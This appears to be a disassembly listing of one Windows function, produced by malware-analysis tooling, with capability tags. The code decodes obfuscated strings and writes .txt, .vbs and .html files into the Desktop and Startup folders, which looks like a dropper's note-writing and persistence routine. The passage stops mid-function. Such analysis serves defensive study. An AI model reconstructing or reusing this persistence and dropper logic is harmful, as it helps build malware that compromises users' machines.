Function at 0x4168f0
Capabilities:
Create process on windows
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45284c
mov eax, dword fs:[0]
push eax
sub esp, 0xa44
mov eax, dword [0x46c074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xa00]
push 0x20c
push str.Y25ncBFuD20HcBF0A3EYSUlEBjwubiErcykrISNxMCovKzRwKi84KHMyITE_cTMtIDwIDYrKmxZBCt0FTQ1MToM3A7ITs_czYtODQidiUsIis_NW46JTYjIXQiJTMzMHRNWmFjY2BfWl5fHx7bm5jan1vY2Ngfn1peXx8e25uY2p9b2NjYH59aXl8fHtubmNkWnNgbgk8Jyo4PjAyYyIgI3ArID05MjwodCU5M2NhGigiYgw8IiQjISZzcTAxLCNnODY6Pj5pf2sjJiZ4Nyw8NyItJCsuJ34rJjZbXHFtbhUlLG4nOX1aTmd_cR8tYzovNWIaIT9zEjY7JiIzMW9uKCAnIG46NjI3PSU0bEljbmc4Njod3x_NyFiZSY0Kz4kMSQrJzcnJGo7Pzg5LUlEc35iCCEhPz8zdCU5M2MqIDQkMDstOTo_KidxPjhjNyYicDIvKShZc2l5fHx7bm5jan1vY2Ngfn1peXx8e25uY2p9b2NjYH59aXl8fHtubmNqfW9jY24
mov dword [ebp - 0x9f0], 0
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
call fcn.00401eb0
sub esp, 0x18
mov byte [ebp - 4], 1
lea edx, [ebp - 0xa00]
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0x678]
call fcn.00402260
add esp, 0x18
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x9ec]
cmp eax, 0x10
jb 0x4169ca
mov ecx, dword [ebp - 0xa00]
inc eax
cmp eax, 0x1000
jb 0x4169c1
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
push 0xf0
push str.ECszcAFuc20QIiE1JTQZISkrJCRqbB0MAxlqByEHOSogK2V5SA1gHiM1JT9xcxc3NyspJCshIGxzETAgND8iKiwgZnJICCE_czlkaXFgdjcsbnNaAWAdPTYxL3RzCDk2MW4jPyE7Iyg9JDd4cSELDchNHxiKi85MjIlJzQidiItKmc_NiYrP3M5KSQIyIiLTpnNisiKz5zOCUiNHE0JiYgZzUsLTw0IyQhMHBzXA0mNjNa
lea ecx, [ebp - 0xa4c]
mov dword [ebp - 0x9f0], 0
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
mov dword [ebp - 0xa3c], 0
mov dword [ebp - 0xa38], 0xf
mov byte [ebp - 0xa4c], 0
call fcn.00401eb0
sub esp, 0x18
mov byte [ebp - 4], 4
lea edx, [ebp - 0xa4c]
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0x660]
call fcn.00402260
add esp, 0x18
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0xa38]
cmp eax, 0x10
jb 0x416a87
mov ecx, dword [ebp - 0xa4c]
inc eax
cmp eax, 0x1000
jb 0x416a7e
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
push 0x104
lea eax, [ebp - 0x120]
mov dword [ebp - 0xa3c], 0
push 0
push eax
mov dword [ebp - 0xa38], 0xf
mov byte [ebp - 0xa4c], 0
call fcn.00433c30
add esp, 0xc
lea eax, [ebp - 0x648]
push 0x104
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [ebp - 0x438]
push 0x104
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [ebp - 0x540]
push 0x104
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [ebp - 0x228]
push 0x104
push 0
push eax
call fcn.00433c30
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x120]
add esp, 0xc
push 0
push 0x10
push eax
push 0
call esi
push 0
push 0x10
lea eax, [ebp - 0x648]
push eax
push 0
call esi
push 0
push 7
lea eax, [ebp - 0x438]
push eax
push 0
call esi
push 0
push 7
lea eax, [ebp - 0x540]
push eax
push 0
call esi
push 0
push 0x10
lea eax, [ebp - 0x228]
push eax
push 0
call esi
push 0x460de4
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
mov dword [ebp - 0x9f0], 0
lea ecx, [ebp - 0xa00]
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
push 0x18
push str.YAoCExAXHhkMHR0LFxgaBhBt
call fcn.00401eb0
mov byte [ebp - 4], 7
lea edx, [ebp - 0xa00]
sub esp, 0x18
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0xa1c]
call fcn.00402260
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x416bd1
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.0043b31c
mov eax, dword [ebp - 0xa08]
add esp, 0xc
cmp eax, 0x10
jb 0x416c32
mov ecx, dword [ebp - 0xa1c]
inc eax
cmp eax, 0x1000
jb 0x416c29
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xa0c], 0
mov dword [ebp - 0xa08], 0xf
mov byte [ebp - 0xa1c], 0
cmp eax, 0x10
jb 0x416c9d
mov ecx, dword [ebp - 0xa00]
inc eax
cmp eax, 0x1000
jb 0x416c94
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
push str..txt
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [ebp - 0x9e8]
push 0xb0
push 0
push eax
call fcn.00433c30
add esp, 4
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0x9e8]
push 2
push eax
call fcn.0040e310
mov byte [ebp - 4], 8
lea edx, [ebp - 0x678]
cmp dword [ebp - 0x664], 0x10
lea ecx, [ebp - 0x9e8]
push dword [ebp - 0x668]
cmovae edx, dword [ebp - 0x678]
call fcn.00410470
add esp, 4
lea ecx, [ebp - 0x9e4]
call fcn.0040e750
test eax, eax
jne 0x416d46
mov eax, dword [ebp - 0x9e8]
lea ecx, [ebp - 0x9e8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00404970
push 0x460de4
lea eax, [ebp - 0x228]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
mov dword [ebp - 0x9f0], 0
lea ecx, [ebp - 0xa00]
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
push 0x18
push str.YAoCExAXHhkMHR0LFxgaBhBt
call fcn.00401eb0
sub esp, 0x18
mov byte [ebp - 4], 9
lea edx, [ebp - 0xa00]
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0xa1c]
call fcn.00402260
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x416db6
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x228]
push 0x104
push eax
call fcn.0043b31c
mov eax, dword [ebp - 0xa08]
add esp, 0xc
cmp eax, 0x10
jb 0x416e17
mov ecx, dword [ebp - 0xa1c]
inc eax
cmp eax, 0x1000
jb 0x416e0e
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xa0c], 0
mov dword [ebp - 0xa08], 0xf
mov byte [ebp - 0xa1c], 0
cmp eax, 0x10
jb 0x416e82
mov ecx, dword [ebp - 0xa00]
inc eax
cmp eax, 0x1000
jb 0x416e79
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
push str..vbs
lea eax, [ebp - 0x228]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [ebp - 0x938]
push 0xb0
push 0
push eax
call fcn.00433c30
add esp, 4
lea eax, [ebp - 0x228]
lea ecx, [ebp - 0x938]
push 2
push eax
call fcn.0040e310
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x660]
cmp dword [ebp - 0x64c], 0x10
lea ecx, [ebp - 0x938]
push dword [ebp - 0x650]
cmovae edx, dword [ebp - 0x660]
call fcn.00410470
add esp, 4
lea ecx, [ebp - 0x934]
call fcn.0040e750
test eax, eax
jne 0x416f2b
mov eax, dword [ebp - 0x938]
lea ecx, [ebp - 0x938]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00404970
push 0x104
lea eax, [ebp - 0x330]
push 0
push eax
call fcn.00433c30
add esp, 0xc
lea eax, [ebp - 0x330]
push 0
push 0x10
push eax
push 0
call esi
push 0x460de4
lea eax, [ebp - 0x330]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
mov dword [ebp - 0x9f0], 0
lea ecx, [ebp - 0xa00]
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
push 0x18
push str.YAoCExAXHhkMHR0LFxgaBhBt
call fcn.00401eb0
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea edx, [ebp - 0xa00]
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0xa1c]
call fcn.00402260
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x416fc0
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x330]
push 0x104
push eax
call fcn.0043b31c
mov eax, dword [ebp - 0xa08]
add esp, 0xc
cmp eax, 0x10
jb 0x417021
mov ecx, dword [ebp - 0xa1c]
inc eax
cmp eax, 0x1000
jb 0x417018
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xa0c], 0
mov dword [ebp - 0xa08], 0xf
mov byte [ebp - 0xa1c], 0
cmp eax, 0x10
jb 0x41708c
mov ecx, dword [ebp - 0xa00]
inc eax
cmp eax, 0x1000
jb 0x417083
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
push str..html
lea eax, [ebp - 0x330]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [ebp - 0x7d8]
push 0xb0
push 0
push eax
call fcn.00433c30
add esp, 8
lea ecx, [ebp - 0x7d8]
call fcn.0040c900
push ecx
push 2
lea eax, [ebp - 0x330]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0x7d4]
call fcn.0040e810
test eax, eax
lea ecx, [ebp - 0x7d8]
mov eax, dword [ebp - 0x7d8]
push 0
mov eax, dword [eax + 4]
jne 0x41711b
mov edx, dword [ecx + eax + 0xc]
add ecx, eax
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00404970
mov esi, 4
jmp 0x417132
call fcn.00437255
add ecx, eax
xor edx, edx
mov esi, 4
mov eax, esi
cmp dword [ecx + 0x38], edx
cmovne eax, edx
push eax
call fcn.00404970
push 0x6d8
push str.EwkvYCAZOWYXAStsNRY6cyEJEnsXNwwPGhYVMwcCFBAKC3NoDn0cPTcXPDgBNmYIEwkJPCAgHCEwOnAaEjgXexojfjsnGnoDEDkFbDAVE2gWNwUSCwgfKgUDBgcYFGJ7D3wgKBIpfgYaFDw7HxVjGSF9ESkLCRw7CmMSIAsGY3MgNzA3IQkmOzcXfS4dEhQoGhYVOBsjCDcJCAknGBYQNhkNBSYmCSYhMDkGJDMJFDUgIBU4ICAfKgk9KCcLCRskIgkBYhgdDCQJBxIhGBYANhp9DWUhBhwhCRMBbB1jMXMTKXcbCwo2JDA5BSIBOBQWITcFFRgZADQ2CAZkGBk6NScWDjcYIyICQgJMws8bzAhCX5jCwYcIgkICjgYFjo2IH0VKSYZAH0yB30hMis5DQAnBmgbIAcqHypwGhI4FyQTCRUgJiR6AxA5BWwwFQdoDh1zNxAJd34xPTwiCAYHJBoZcjsLCyI4MGMWPDMWISQVCX4pCwsENDFjIC4LCR8kGSANJiAdD3UKAwY7MjwALhMZL2AmBgw3HDl8IjViMnAPIBUmISAMNDFiNDgIYgc2IX0NPg40eyI3GBYjMis5NQ99I2MmN3t9MWMOIzI8bzIZGQlgDiN3NAkpfGwdYxNoEw1PwwKegMQOQVsCD8fJA80cx4BJw91MhQVfxw4YiQWIBElCwYcIgkDBj0yPG9wIHwRKRINdyIdFHAaEjgXexogDjcONHoDEDkFMwEWMXMTJAolCwsiOBoYFjsLAhQWIX0ONxMgBDs3Ywo4MjghJCF9BTwgJwxCQcOLjAJBC8MJDAmIwoDZhcBKzMYFS4oIhYeNyF9HHgxFxFtGDwcKxp8Mz4hI3d8MT0VIAhjbzAhfQ5mCw0AJhwHFWELFT10Cgl2OCEjKj0xOXUnCwYMcwwnBikPBgx5HCkGIAgJHC0iGXMkISMiIzIYFWIYFR80IAYgZwsGDCUJFxYkMzw1NxojfmAmCXc5HDkFYDIZMXQKBgU4GAkcPTE9JyAzFgAuJwooNw0GDHkcKQYjCAYEKCIZcj4OFgQ9CWIsZB44F3cgBiBnCwYMJQkXFiQzPDU3JwlJw0nD3kwGCNjGDtiDQAkMCYbGnp1CjpxOzUZBDQMJ38mIX0bNx0YBmcwGRQpGhkdPCMWPn03E3EiMzw6NSEkMCYbJHp1Cj4NIgE2ZggTDX47IxYXZhoRdB8YFS4sDQpzYA4nDAoxYjwnM2I1JCcJLzwLCSI4MGMWLTUGGHMiGX4lITcMJTcTBmQwFjo5CgYjPBsgAD03FxFsHWMxcxMpdxsLCjk7CRcoZgE2ZggKCjAmGyN3JjYEcBoSOyE1GnwRJSYJGDQDN3QfARJvLCcJdiMSKX4GAxgKZDQGLi8TKXcbCwkmfTEHMzM0JmYICgkNOBt8OiMwPX1lMzwHNxp8fiMgfQd7GhggOzAJBC8MOXcbCwkUOzEFSALPBA3Ihk_ZQ0nDAQJBzxmCwkEMxp8AiMLBgAlMT4JIDJjADoiGR5nBh8hKjUBdB8YEGYICgkVICYnDHoXASszCDwQKSJ8IykgfRg4CRN1PjNjLjUgJCg3C3wXNAk6DjkcOyUNACcFYyMZHH0yFCszHhUXdQoNEmcGHyEqMBcCPwsWOjYZNCg3DyQYOjYUNxoSOBQ3GhYNPiMZensaFA1lMhkxdAcfKDcgfRQhMD0eJzNiNXUiCSs7GAkYOBwndB8YGWYNACQwJiF9HHgxFxF_FQA5fg
lea ecx, [ebp - 0xa00]
mov dword [ebp - 0x9f0], 0
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
call fcn.00401eb0
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0xa00]
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0xa34]
call fcn.00402260
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa1c]
call fcn.00402140
mov byte [ebp - 4], 0xf
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x4171a4
mov eax, dword [eax]
push ecx
mov edx, eax
lea ecx, [ebp - 0x7d8]
call fcn.00410470
mov byte [ebp - 4], 0xe
add esp, 4
mov eax, dword [ebp - 0xa08]
cmp eax, 0x10
jb 0x417205
mov ecx, dword [ebp - 0xa1c]
inc eax
cmp eax, 0x1000
jb 0x4171fc
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0xa20]
mov dword [ebp - 0xa0c], 0
mov dword [ebp - 0xa08], 0xf
mov byte [ebp - 0xa1c], 0
cmp eax, 0x10
jb 0x417270
mov ecx, dword [ebp - 0xa34]
inc eax
cmp eax, 0x1000
jb 0x417267
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xa24], 0
mov dword [ebp - 0xa20], 0xf
mov byte [ebp - 0xa34], 0
cmp eax, 0x10
jb 0x4172db
mov ecx, dword [ebp - 0xa00]
inc eax
cmp eax, 0x1000
jb 0x4172d2
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
lea ecx, [ebp - 0x7d4]
call fcn.0040e750
test eax, eax
jne 0x417315
mov eax, dword [ebp - 0x7d8]
lea ecx, [ebp - 0x7d8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00404970
push 0x460de4
lea eax, [ebp - 0x438]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
mov dword [ebp - 0x9f0], 0
lea ecx, [ebp - 0xa00]
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
push 0x18
push str.YAoCExAXHhkMHR0LFxgaBhBt
call fcn.00401eb0
sub esp, 0x18
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0xa00]
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0xa34]
call fcn.00402260
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x417385
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x438]
push 0x104
push eax
call fcn.0043b31c
mov eax, dword [ebp - 0xa20]
add esp, 0xc
cmp eax, 0x10
jb 0x4173e6
mov ecx, dword [ebp - 0xa34]
inc eax
cmp eax, 0x1000
jb 0x4173dd
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xa24], 0
mov dword [ebp - 0xa20], 0xf
mov byte [ebp - 0xa34], 0
cmp eax, 0x10
jb 0x417451
mov ecx, dword [ebp - 0xa00]
inc eax
cmp eax, 0x1000
jb 0x417448
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
push str..txt
lea eax, [ebp - 0x438]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [ebp - 0x888]
push 0xb0
push 0
push eax
call fcn.00433c30
add esp, 4
lea eax, [ebp - 0x438]
lea ecx, [ebp - 0x888]
push 2
push eax
call fcn.0040e310
mov byte [ebp - 4], 0x11
lea edx, [ebp - 0x678]
cmp dword [ebp - 0x664], 0x10
lea ecx, [ebp - 0x888]
push dword [ebp - 0x668]
cmovae edx, dword [ebp - 0x678]
call fcn.00410470
add esp, 4
lea ecx, [ebp - 0x884]
call fcn.0040e750
test eax, eax
jne 0x4174fa
mov eax, dword [ebp - 0x888]
lea ecx, [ebp - 0x888]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00404970
push 0x460de4
lea eax, [ebp - 0x540]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
mov dword [ebp - 0x9f0], 0
lea ecx, [ebp - 0xa00]
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
push 0x18
push str.YAoCExAXHhkMHR0LFxgaBhBt
call fcn.00401eb0
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea edx, [ebp - 0xa00]
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0xa34]
call fcn.00402260
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x41756a
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x540]
push 0x104
push eax
call fcn.0043b31c
mov eax, dword [ebp - 0xa20]
add esp, 0xc
cmp eax, 0x10
jb 0x4175cb
mov ecx, dword [ebp - 0xa34]
inc eax
cmp eax, 0x1000
jb 0x4175c2
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xa24], 0
mov dword [ebp - 0xa20], 0xf
mov byte [ebp - 0xa34], 0
cmp eax, 0x10
jb 0x417636
mov ecx, dword [ebp - 0xa00]
inc eax
cmp eax, 0x1000
jb 0x41762d
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
push str..html
lea eax, [ebp - 0x540]
push 0x104
push eax
call fcn.0043b31c
add esp, 0xc
lea eax, [ebp - 0x728]
push 0xb0
push 0
push eax
call fcn.00433c30
add esp, 8
lea ecx, [ebp - 0x728]
call fcn.0040c900
push ecx
push 2
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x724]
call fcn.0040e810
test eax, eax
lea ecx, [ebp - 0x728]
mov eax, dword [ebp - 0x728]
push 0
mov eax, dword [eax + 4]
jne 0x4176b6
mov edx, dword [ecx + eax + 0xc]
add ecx, eax
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
jmp 0x4176c1
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
cmovne esi, eax
push esi
call fcn.00404970
push 0x6d8
push str.EwkvYCAZOWYXAStsNRY6cyEJEnsXNwwPGhYVMwcCFBAKC3NoDn0cPTcXPDgBNmYIEwkJPCAgHCEwOnAaEjgXexojfjsnGnoDEDkFbDAVE2gWNwUSCwgfKgUDBgcYFGJ7D3wgKBIpfgYaFDw7HxVjGSF9ESkLCRw7CmMSIAsGY3MgNzA3IQkmOzcXfS4dEhQoGhYVOBsjCDcJCAknGBYQNhkNBSYmCSYhMDkGJDMJFDUgIBU4ICAfKgk9KCcLCRskIgkBYhgdDCQJBxIhGBYANhp9DWUhBhwhCRMBbB1jMXMTKXcbCwo2JDA5BSIBOBQWITcFFRgZADQ2CAZkGBk6NScWDjcYIyICQgJMws8bzAhCX5jCwYcIgkICjgYFjo2IH0VKSYZAH0yB30hMis5DQAnBmgbIAcqHypwGhI4FyQTCRUgJiR6AxA5BWwwFQdoDh1zNxAJd34xPTwiCAYHJBoZcjsLCyI4MGMWPDMWISQVCX4pCwsENDFjIC4LCR8kGSANJiAdD3UKAwY7MjwALhMZL2AmBgw3HDl8IjViMnAPIBUmISAMNDFiNDgIYgc2IX0NPg40eyI3GBYjMis5NQ99I2MmN3t9MWMOIzI8bzIZGQlgDiN3NAkpfGwdYxNoEw1PwwKegMQOQVsCD8fJA80cx4BJw91MhQVfxw4YiQWIBElCwYcIgkDBj0yPG9wIHwRKRINdyIdFHAaEjgXexogDjcONHoDEDkFMwEWMXMTJAolCwsiOBoYFjsLAhQWIX0ONxMgBDs3Ywo4MjghJCF9BTwgJwxCQcOLjAJBC8MJDAmIwoDZhcBKzMYFS4oIhYeNyF9HHgxFxFtGDwcKxp8Mz4hI3d8MT0VIAhjbzAhfQ5mCw0AJhwHFWELFT10Cgl2OCEjKj0xOXUnCwYMcwwnBikPBgx5HCkGIAgJHC0iGXMkISMiIzIYFWIYFR80IAYgZwsGDCUJFxYkMzw1NxojfmAmCXc5HDkFYDIZMXQKBgU4GAkcPTE9JyAzFgAuJwooNw0GDHkcKQYjCAYEKCIZcj4OFgQ9CWIsZB44F3cgBiBnCwYMJQkXFiQzPDU3JwlJw0nD3kwGCNjGDtiDQAkMCYbGnp1CjpxOzUZBDQMJ38mIX0bNx0YBmcwGRQpGhkdPCMWPn03E3EiMzw6NSEkMCYbJHp1Cj4NIgE2ZggTDX47IxYXZhoRdB8YFS4sDQpzYA4nDAoxYjwnM2I1JCcJLzwLCSI4MGMWLTUGGHMiGX4lITcMJTcTBmQwFjo5CgYjPBsgAD03FxFsHWMxcxMpdxsLCjk7CRcoZgE2ZggKCjAmGyN3JjYEcBoSOyE1GnwRJSYJGDQDN3QfARJvLCcJdiMSKX4GAxgKZDQGLi8TKXcbCwkmfTEHMzM0JmYICgkNOBt8OiMwPX1lMzwHNxp8fiMgfQd7GhggOzAJBC8MOXcbCwkUOzEFSALPBA3Ihk_ZQ0nDAQJBzxmCwkEMxp8AiMLBgAlMT4JIDJjADoiGR5nBh8hKjUBdB8YEGYICgkVICYnDHoXASszCDwQKSJ8IykgfRg4CRN1PjNjLjUgJCg3C3wXNAk6DjkcOyUNACcFYyMZHH0yFCszHhUXdQoNEmcGHyEqMBcCPwsWOjYZNCg3DyQYOjYUNxoSOBQ3GhYNPiMZensaFA1lMhkxdAcfKDcgfRQhMD0eJzNiNXUiCSs7GAkYOBwndB8YGWYNACQwJiF9HHgxFxF_FQA5fg
lea ecx, [ebp - 0xa00]
mov dword [ebp - 0x9f0], 0
mov dword [ebp - 0x9ec], 0xf
mov byte [ebp - 0xa00], 0
call fcn.00401eb0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0xa00]
mov ecx, esp
call fcn.00402140
lea ecx, [ebp - 0xa1c]
call fcn.00402260
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xa34]
call fcn.00402140
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x417738
mov eax, dword [eax]
push ecx
mov edx, eax
lea ecx, [ebp - 0x728]
call fcn.00410470
mov byte [ebp - 4], 0x15
add esp, 4
mov eax, dword [ebp - 0xa20]
cmp eax, 0x10
jb 0x417799
mov ecx, dword [ebp - 0xa34]
inc eax
cmp eax, 0x1000
jb 0x417790
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0xa24], 0
mov dword [ebp - 0xa20], 0xf
mov byte [ebp - 0xa34], 0
cmp eax, 0x10
jb 0x417804
mov ecx, dword [ebp - 0xa1c]
inc eax
cmp eax, 0x1000
jb 0x4177fb
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xa0c], 0
mov dword [ebp - 0xa08], 0xf
mov byte [ebp - 0xa1c], 0
cmp eax, 0x10
jb 0x41786f
mov ecx, dword [ebp - 0xa00]
inc eax
cmp eax, 0x1000
jb 0x417866
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
